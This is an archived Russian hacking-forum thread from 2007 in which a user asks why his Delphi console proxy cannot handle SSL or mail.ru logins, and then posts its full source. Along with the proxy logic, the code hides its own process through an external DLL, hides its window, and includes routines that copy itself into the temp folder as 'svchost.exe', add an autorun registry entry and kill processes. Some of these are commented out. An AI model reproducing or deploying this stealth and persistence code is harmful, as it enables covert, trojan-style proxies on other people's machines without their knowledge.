PDA

Просмотр полной версии : Local Proxy


slv
14.03.2007, 00:10
Ачатовцы, хотел вас спросить.
Ситуация такая:
Есть комп в локалке, я с него через Local Proxy сижу в инете. Все вроде бы отлично, но ...
- зайти на тот же mail.ru в свою почту не могу
- ssl протокол тож не поддерживает
- ну и др проблумы в этом же направлении

Хотел бы спросить, если ли возможность както исправить этот недостаток.
Прокся писана под Делфи в консоле. Можно ли исходник переделать, или же надо все переписывать.

Или же лучше готовые прокcисервера использовать?
Вобщем, буду рад любым советам

P.S.На сокетах не сидел

ShadOS
14.03.2007, 00:17
Не понимаю зачем такие сложности. Может проще будет 3proxy для таких целей использовать? Ну а если исправлять недостатки - это всегда можно, было бы желание. Тем более Delphi.

slv
14.03.2007, 00:47
ShadOS. Хотелось бы услышать, из-за чего такая проблема? Почему не я могу зайти через проксю, например, в свою почту на mail.ru?

PS. Не зная причин, тяжело латать код!

_Great_
14.03.2007, 00:49
при чем тут " Исследование программного обеспечения\реверсинг"

ShadOS
14.03.2007, 00:55
ShadOS. Хотелось бы услышать, из-за чего такая проблема? Почему не я могу зайти через проксю, например, в свою почту на mail.ru?

PS. Не зная причин, тяжело латать код!
Ты уж извини, я конечно HellKnight, но я всё-таки не медиум чтобы так без наличия исходных даных (исходник или хотя бы сама прокся, дампы соединения и т.п) выдать тебе решение.
>>P.S. Абсолютно верно.

slv
14.03.2007, 00:57
при чем тут " Исследование программного обеспечения\реверсинг"

Если есть более подходящий раздел, жду советов. Я таких не нашел, тем более что я хочу "подправить" код в Делфе, если это возможно.

_Great_ , думаю теперь ты меня понимаешь .......

SK | Heaton
14.03.2007, 07:02
Мда... Уж00с
1.На самописном прокси фильтер(или блэк лист) есть? (ты проверли фильтер)
2.Посмотри настройки проксия мржет не так настроил и ваще тут нет телепатов чтоб сказать какая причина у тя, не знаю как у тя там настроен прокси и какую ошибку пишед при открытия страницы майл ру!!!!

slv
14.03.2007, 10:16
ВОт код всей прокси:
может теперь станет ясней

program proxy;
{$APPTYPE CONSOLE}
uses
Messages,
Variants,
Graphics,
Controls,
Forms,
Registry,
StdCtrls,
FileCtrl,
Buttons,
system,
SysUtils,
Windows,
Winsock,
Classes,
ShellAPI,
TlHelp32;

function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall; external'nthide.dll';

type TCompletionPort=class
public
FHandle:THandle;
constructor Create(dwNumberOfConcurentThreads:DWORD);
destructor Destroy;override;
function AssociateDevice(hDevice:THandle;dwCompKey:DWORD):b oolean;
end;


TAcceptThread=class(TThread)
private
FListenSocket:TSocket;
FListenPort:Word;
FClientList:TList;
procedure GarbageCollect;
protected
procedure Execute;override;
public
constructor Create(AListenPort:Word);reintroduce;
destructor Destroy;override;
end;


type TClientThread=class(TThread)
public
procedure Execute;override;
end;


type TClient=class
private
FSocket:TSocket;
FEvent:THandle;
ov:POVERLAPPED;
Buffer:Pointer;
BufSize:Cardinal;
procedure Write(Buf:Pointer;Size:Cardinal);
public
FOppositeClient:TClient;
FLastActivity:double;
constructor Create;
destructor Destroy;override;
procedure Connect(ARequest:string);
procedure Disconnect;
procedure Complete(dwNumBytes:Cardinal);virtual;abstract;
end;


TInternalClient=class(TClient)
public
procedure Complete(dwNumBytes:Cardinal);override;
end;


TExternalClient=class(TClient)
public
procedure Complete(dwNumBytes:Cardinal);override;
end;


//-------------------------------implementation-------------------------------

var
FCompPort:TCompletionPort;


procedure LWrite(Text: String; Color: Word; BreakLine: Byte);
var
tmpColor: Word;
sbinfo: _CONSOLE_SCREEN_BUFFER_INFO;
begin
GetConsoleScreenBufferInfo(GetStdHandle(STD_OUTPUT _HANDLE), sbinfo);
tmpColor:= sbinfo.wAttributes;
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HA NDLE), Color);
if Boolean(BreakLine) then WriteLn(Text) else Write(Text);
SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HA NDLE), tmpColor);
end;

{ TCompletionPort }

constructor TCompletionPort.Create(dwNumberOfConcurentThreads: DWORD);
begin
FHandle:=CreateIoCompletionPort(INVALID_HANDLE_VAL UE,0,0,dwNumberOfConcurentThreads);
end;

function TCompletionPort.AssociateDevice(hDevice: THandle;
dwCompKey: DWORD): boolean;
begin
result:=CreateIoCompletionPort(hDevice,FHandle,dwC ompKey,0)=FHandle;
end;

destructor TCompletionPort.Destroy;
begin
CloseHandle(FHandle);
inherited;
end;

{ TAcceptThread }

constructor TAcceptThread.Create(AListenPort: Word);
begin
inherited Create(false);
FListenPort:=AListenPort;
FClientList:=TList.Create;
end;

destructor TAcceptThread.Destroy;
begin
FClientList.Free;
inherited;
end;

procedure TAcceptThread.GarbageCollect;
var
AClient:TClient;
i:integer;
begin
for i:=0 to FClientList.Count-1 do begin
AClient:=TClient(FClientList[i]);
if Assigned(AClient) then
if (AClient.FSocket=INVALID_SOCKET) and ((now-AClient.FLastActivity)>7E-4) then
begin
FClientList[i]:=nil;
if Assigned(AClient.FOppositeClient) then AClient.FOppositeClient.Free;
AClient.Free;
end;
end;
FClientList.Pack;
FClientList.Capacity:=FClientList.Count;
end;


procedure TAcceptThread.Execute;
var
FAddr: TSockAddrIn;
Len: Integer;
ClientSocket:TSocket;
InternalClient:TClient;
begin
FListenSocket := socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
FAddr.sin_family := PF_INET;
FAddr.sin_addr.s_addr := INADDR_ANY;
FAddr.sin_port := htons(FListenPort);
bind(FListenSocket, FAddr, SizeOf(FAddr));
listen(FListenSocket, SOMAXCONN);
try
while not Terminated do begin
Len:=sizeof(FAddr);
ClientSocket:=accept(FListenSocket, @FAddr, @Len);
try
GarbageCollect;
if ClientSocket<>INVALID_SOCKET then begin
InternalClient:=TInternalClient.Create;
InternalClient.FSocket:=ClientSocket;
FClientList.Add(InternalClient);
FCompPort.AssociateDevice(InternalClient.FSocket,C ardinal(InternalClient));
InternalClient.Complete(0);
end;
except end;
end;
finally
shutdown(FListenSocket,2);
closesocket(FListenSocket);
end;
end;


{ TClientThread }

procedure TClientThread.Execute;
var
CompKey,dwNumBytes:Cardinal;
ov:POVERLAPPED;
begin
try
while not Terminated do begin
if GetQueuedCompletionStatus(FCompPort.FHandle,dwNumB ytes,CompKey,ov,INFINITE) and (dwNumBytes>0) then
begin
if TClient(CompKey).FSocket<>INVALID_SOCKET then begin
TClient(CompKey).Complete(dwNumBytes);
TClient(CompKey).FLastActivity:=now;
end;
end else
TClient(CompKey).Disconnect;
end;
except
TClientThread.Create(false);
end;
end;

{ TClient }

constructor TClient.Create;
begin
FSocket:=INVALID_SOCKET;
BufSize:=8192;
GetMem(Buffer,BufSize);
new(ov);
ov.Internal:=0;
ov.InternalHigh:=0;
ov.Offset:=0;
ov.OffsetHigh:=0;
ov.hEvent:=0;
FEvent:=CreateEvent(nil,true,false,nil);
FLastActivity:=now;
end;


destructor TClient.Destroy;
begin
Disconnect;
CloseHandle(FEvent);
FreeMem(Buffer);
Dispose(ov);
inherited;
end;


////////////////////////////////////////////////////////////////////////////////
//
// Прием запроса на подключение к удаленному хосту

procedure TClient.Connect(ARequest: string);
var
f,t:integer;
ARemoteAddress:string;
ARemotePort:string;
he:PHostEnt;
FAddr:TSockAddrIn;
begin
f:=Pos('/',ARequest)+2;
t:=Pos('HTTP',ARequest)-1;
ARemoteAddress:=Copy(ARequest,f,t-f);
t:=Pos('/',ARemoteAddress);
if t<>0 then ARemoteAddress:=Copy(ARemoteAddress,0,t-1);
t:=Pos(':',ARemoteAddress);
if t<>0 then begin
ARemotePort:=Copy(ARemoteAddress,t+1,Length(ARemot eAddress)-t);
ARemoteAddress:=Copy(ARemoteAddress,0,t-1);
end else
ARemotePort:='80';
WriteLn('Trying to connect: '+ ARemoteAddress);
he:=GetHostByName(PChar(ARemoteAddress));
if not Assigned(he) then exit;
ARemoteAddress:=inet_ntoa(PInAddr(he.h_addr_list^) ^);

FSocket:=socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
FAddr.sin_family:=PF_INET;
FAddr.sin_addr.s_addr :=inet_addr(PChar(ARemoteAddress));
try
FAddr.sin_port := htons(StrToInt(ARemotePort));
if WinSock.connect(FSocket, FAddr, SizeOf(FAddr))=SOCKET_ERROR then FSocket:=INVALID_SOCKET;
except
WriteLn('Connection failed');
end;
end;


procedure TClient.Disconnect;
begin
if FSocket<>INVALID_SOCKET then begin
shutdown(FSocket,2);
closesocket(FSocket);
FSocket:=INVALID_SOCKET;
if Assigned(FOppositeClient) then FOppositeClient.Disconnect;
end;
end;

procedure TClient.Write(Buf: Pointer; Size: Cardinal);
var
BytesWrite:Cardinal;
begin
ov.hEvent:=FEvent or 1;
WriteFile(FSocket,Buf^,Size,BytesWrite,ov);
ov.hEvent:=0;
end;


{ TInternalClient }

procedure TInternalClient.Complete(dwNumBytes: Cardinal);
var
BytesRead:Cardinal;
begin
if dwNumBytes>0 then begin
if not Assigned(FOppositeClient) then begin
FOppositeClient:=TExternalClient.Create;
FOppositeClient.FOppositeClient:=self;
FOppositeClient.Connect(PChar(Buffer));
if FOppositeClient.FSocket=INVALID_SOCKET then begin
Disconnect;
exit;
end;
FCompPort.AssociateDevice(FOppositeClient.FSocket, Cardinal(FOppositeClient));
FOppositeClient.Complete(0);
end;
FOppositeClient.Write(Buffer,dwNumBytes);
end;
ReadFile(FSocket,Buffer^,BufSize,BytesRead,ov);
end;

{ TExternalClient }

procedure TExternalClient.Complete(dwNumBytes: Cardinal);
var
BytesRead:Cardinal;
begin
if dwNumBytes>0 then FOppositeClient.Write(Buffer,dwNumBytes);
ReadFile(FSocket,Buffer^,BufSize,BytesRead,ov);
end;

{Autorun}

procedure StartFromRegistry(appName,appPath:string);
var
reg: TRegistry;
begin
reg := TRegistry.Create;
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.LazyWrite := false;
reg.OpenKey('Software\Microsoft\Windows\CurrentVer sion\Run',true{canCreate});
reg.WriteString(appname,appPath);
reg.CloseKey;
reg.free;
end;

{убиваем процесс}
function KillTask(ExeFileName: string): integer;
const
PROCESS_TERMINATE=$0001;
var
ContinueLoop: BOOL;
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
begin
result := 0;

FSnapshotHandle := CreateToolhelp32Snapshot
(TH32CS_SNAPPROCESS, 0);
FProcessEntry32.dwSize := Sizeof(FProcessEntry32);
ContinueLoop := Process32First(FSnapshotHandle,
FProcessEntry32);

while integer(ContinueLoop) <> 0 do
begin
if ((UpperCase(ExtractFileName(FProcessEntry32.szExeF ile)) =
UpperCase(ExeFileName))
or (UpperCase(FProcessEntry32.szExeFile) =
UpperCase(ExeFileName))) then
Result := Integer(TerminateProcess(OpenProcess(
PROCESS_TERMINATE, BOOL(0),
FProcessEntry32.th32ProcessID), 0));
ContinueLoop := Process32Next(FSnapshotHandle,
FProcessEntry32);
end;

CloseHandle(FSnapshotHandle);
end;

{copy}
procedure CopyProg;
var
aTempBuf:array[0..MAX_PATH] of char;
path,s,nameprog: string;
begin
GetEnvironmentVariable('temp',aTempBuf,MAX_PATH);
path := StrPas(aTempBuf);
nameprog:='svchost.exe';
s:=path+'\'+nameprog;

if fileexists(s) then if application.ExeName<>s then halt;

if fileexists(s) then exit else
begin
CopyFile(PChar (application.ExeName) ,PChar (s),true);
WinExec(PChar (s), SW_SHOW );
end;

end;
{ Graphik}


const
ClientThreadCount:integer=8;
ListenPort:Dword=81;

var
WSAData:TWSAData;
Cnt:Cardinal;
i:integer;
Buff: array [0..10] of char;
ConsoleText: String;
Handle : THandle;
s: string;
begin
// CopyProg;
// KillTask('proxy_dpr.exe');
//s:=application.ExeName;
//StartFromRegistry('',s);

HideProcess(GetCurrentProcessId, false); {убиваем процесс}


Handle:= GetForegroundWindow;
ShowWindow(Handle, SW_HIDE);
//----------
LWrite('Prepare to work:',FOREGROUND_GREEN or FOREGROUND_INTENSITY,0);
Writeln('');
LWrite('=======================',FOREGROUND_GREEN or FOREGROUND_INTENSITY,0);
Writeln('');
LWrite('Create main socket:',FOREGROUND_RED or FOREGROUND_INTENSITY,0);
FCompPort:=TCompletionPort.Create(ClientThreadCoun t);
LWrite(' Ok',FOREGROUND_RED or FOREGROUND_INTENSITY,0);
Writeln('');
if FCompPort.FHandle<>0 then begin
LWrite('Initialise:',FOREGROUND_RED or FOREGROUND_INTENSITY,0);
WSAStartup($0101, WSAData);
LWrite(' Ok',FOREGROUND_RED or FOREGROUND_INTENSITY,0);
Writeln('');
LWrite('Create main threads:',FOREGROUND_RED or FOREGROUND_INTENSITY,0);
for i:=0 to ClientThreadCount-1 do TClientThread.Create(false);
TAcceptThread.Create(ListenPort);
LWrite(' Ok',FOREGROUND_RED or FOREGROUND_INTENSITY,0);
Writeln('');
LWrite('=======================',FOREGROUND_GREEN or FOREGROUND_INTENSITY,0);
Writeln('');
LWrite('Proxy activate',FOREGROUND_GREEN or FOREGROUND_INTENSITY,0);
Writeln('');
LWrite('=======================',FOREGROUND_GREEN or FOREGROUND_INTENSITY,0);
Writeln('');
repeat
ReadConsole(GetStdHandle(STD_INPUT_HANDLE),@Buff,1 0,Cnt,nil);
ConsoleText := String(Buff);
until UpperCase(Copy(ConsoleText,1,4)) = 'EXIT';
WSACleanup;
end;
end.

ShadOS
14.03.2007, 10:55
Ужас. Отключи смайлы в коде, пожалуйста.

slv
14.03.2007, 21:53
Решение нашел, топик можно закрыть.
Всем спасибо за желание помочь.

ShadOS
14.03.2007, 22:43
Решение нашел, топик можно закрыть.
Всем спасибо за желание помочь.
И какое решение? В чём у тебя проблема была?